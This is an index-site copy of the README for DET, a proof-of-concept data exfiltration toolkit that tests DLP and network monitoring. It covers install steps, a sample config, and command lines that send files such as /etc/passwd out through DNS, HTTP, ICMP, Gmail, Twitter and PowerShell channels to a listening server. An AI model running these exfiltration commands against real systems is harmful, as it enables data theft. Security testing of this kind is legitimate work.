Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/sensepost/DET
(extensible) Data Exfiltration Toolkit (DET)
https://github.com/sensepost/DET
Last synced: about 1 month ago
JSON representation
(extensible) Data Exfiltration Toolkit (DET)
- Host: GitHub
- URL: https://github.com/sensepost/DET
- Owner: sensepost
- License: mit
- Created: 2016-02-29T15:34:56.000Z (over 8 years ago)
- Default Branch: master
- Last Pushed: 2017-11-03T12:37:04.000Z (almost 7 years ago)
- Last Synced: 2024-04-08T22:05:12.563Z (5 months ago)
- Language: Python
- Homepage:
- Size: 34.2 KB
- Stars: 815
- Watchers: 68
- Forks: 189
- Open Issues: 7
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
DET (extensible) Data Exfiltration Toolkit
=======DET (is provided AS IS), is a proof of concept to perform Data Exfiltration using either single or multiple channel(s) at the same time.
**This is a Proof of Concept aimed at identifying possible DLP failures. This should never be used to exfiltrate sensitive/live data (say on an assessment)**
The idea was to create a generic toolkit to plug any kind of protocol/service to test implmented Network Monitoring and Data Leakage Prevention (DLP) solutions configuration, against different data exfiltration techniques.
The primary repository has now moved to [here](https://github.com/PaulSec/DET).
# Slides
DET has been presented at [BSides Ljubljana](https://bsidesljubljana.si/) on the 9th of March 2016 and the slides will be available here.
Slides are available [here](https://docs.google.com/presentation/d/11uk6d-xougn3jU1wu4XRM3ZGzitobScSSMUlx0MRTzg).# Example usage (ICMP plugin)
## Server-side:
[![asciicast](https://asciinema.org/a/18rjfp59rc7w27q7vlzlr96qv.png)](https://asciinema.org/a/18rjfp59rc7w27q7vlzlr96qv)
## Client-side:
[![asciicast](https://asciinema.org/a/9m7ovlh7e4oyztx8e3fxyqsbl.png)](https://asciinema.org/a/9m7ovlh7e4oyztx8e3fxyqsbl)
# Usage while combining two channels (Gmail/Twitter)
## Server-side:
[![asciicast](https://asciinema.org/a/9lfpo9m47y5sglvdd1kyb1lwj.png)](https://asciinema.org/a/9lfpo9m47y5sglvdd1kyb1lwj)
## Client-side:
[![asciicast](https://asciinema.org/a/bfstssgptxd41ncces4981cn6.png)](https://asciinema.org/a/bfstssgptxd41ncces4981cn6)
# Installation
Clone the repo:
```bash
git clone https://github.com/sensepost/DET.git
```Then:
```bash
pip install -r requirements.txt --user
```# Configuration
In order to use DET, you will need to configure it and add your proper settings (eg. SMTP/IMAP, AES256 encryption
passphrase and so on). A configuration example file has been provided and is called: ```config-sample.json``````json
{
"plugins": {
"http": {
"target": "192.168.1.101",
"port": 8080
},
"google_docs": {
"target": "192.168.1.101",
"port": 8080,
},
"dns": {
"key": "google.com",
"target": "192.168.1.101",
"port": 53
},
"gmail": {
"username": "[email protected]",
"password": "ReallyStrongPassword",
"server": "smtp.gmail.com",
"port": 587
},
"tcp": {
"target": "192.168.1.101",
"port": 6969
},
"udp": {
"target": "192.168.1.101",
"port": 6969
},
"twitter": {
"username": "PaulWebSec",
"CONSUMER_TOKEN": "XXXXXXXXX",
"CONSUMER_SECRET": "XXXXXXXXX",
"ACCESS_TOKEN": "XXXXXXXXX",
"ACCESS_TOKEN_SECRET": "XXXXXXXXX"
},
"icmp": {
"target": "192.168.1.101"
}
},
"AES_KEY": "THISISACRAZYKEY",
"sleep_time": 10
}
```# Usage
## Help usage
```bash
python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
[-L]Data Exfiltration Toolkit (SensePost)
optional arguments:
-h, --help show this help message and exit
-c CONFIG Configuration file (eg. '-c ./config-sample.json')
-f FILE File to exfiltrate (eg. '-f /etc/passwd')
-d FOLDER Folder to exfiltrate (eg. '-d /etc/')
-p PLUGIN Plugins to use (eg. '-p dns,twitter')
-e EXCLUDE Plugins to exclude (eg. '-e gmail,icmp')
-L Server mode
```## Server-side:
To load every plugin:
```bash
python det.py -L -c ./config.json
```To load *only* twitter and gmail modules:
```bash
python det.py -L -c ./config.json -p twitter,gmail
```To load every plugin and exclude DNS:
```bash
python det.py -L -c ./config.json -e dns
```## Client-side:
To load every plugin:
```bash
python det.py -c ./config.json -f /etc/passwd
```To load *only* twitter and gmail modules:
```bash
python det.py -c ./config.json -p twitter,gmail -f /etc/passwd
```To load every plugin and exclude DNS:
```bash
python det.py -c ./config.json -e dns -f /etc/passwd
```
And in PowerShell (HTTP module):```powershell
PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'
```# Modules
So far, DET supports multiple protocols, listed here:
- [X] HTTP(S)
- [X] ICMP
- [X] DNS
- [X] SMTP/IMAP (eg. Gmail)
- [X] Raw TCP
- [X] PowerShell implementation (HTTP, DNS, ICMP, SMTP (used with Gmail))And other "services":
- [X] Google Docs (Unauthenticated)
- [X] Twitter (Direct Messages)# Experimental modules
So far, I am busy implementing new modules which are almost ready to ship, including:
- [ ] Skype (95% done)
- [ ] Tor (80% done)
- [ ] Github (30/40% done)# Roadmap
- [X] Add proper encryption (eg. AES-256) Thanks to [ryanohoro](https://github.com/ryanohoro)
- [X] Compression (extremely important!) Thanks to [chokepoint](https://github.com/chokepoint)
- [ ] Proper data obfuscation and integrating [Cloakify Toolset Toolset](https://github.com/trycatchhcf/cloakify)
- [ ] FTP, FlickR [LSB Steganography](https://github.com/RobinDavid/LSB-Steganography) and Youtube modules# References
Some pretty cool references/credits to people I got inspired by with their project:
- [https://github.com/nullbind/Powershellery/](Powershellery) from Nullbind.
- [https://github.com/ytisf/PyExfil](PyExfil), truely awesome.
- [https://github.com/m57/dnsteal](dnsteal) from m57.
- [https://github.com/3nc0d3r/NaishoDeNusumu](NaishoDeNusumu) from 3nc0d3r.
- [https://github.com/glennzw/exphil](Exphil) from Glenn Wilkinson.
- WebExfile from Saif El-Sherei# Contact/Contributing
You can reach me on Twitter [@PaulWebSec](https://twitter.com/PaulWebSec).
Feel free if you want to contribute, clone, fork, submit your PR and so on.# License
DET is licensed under a [MIT License](https://opensource.org/licenses/MIT).
Permissions beyond the scope of this license may be available at [[email protected]]([email protected])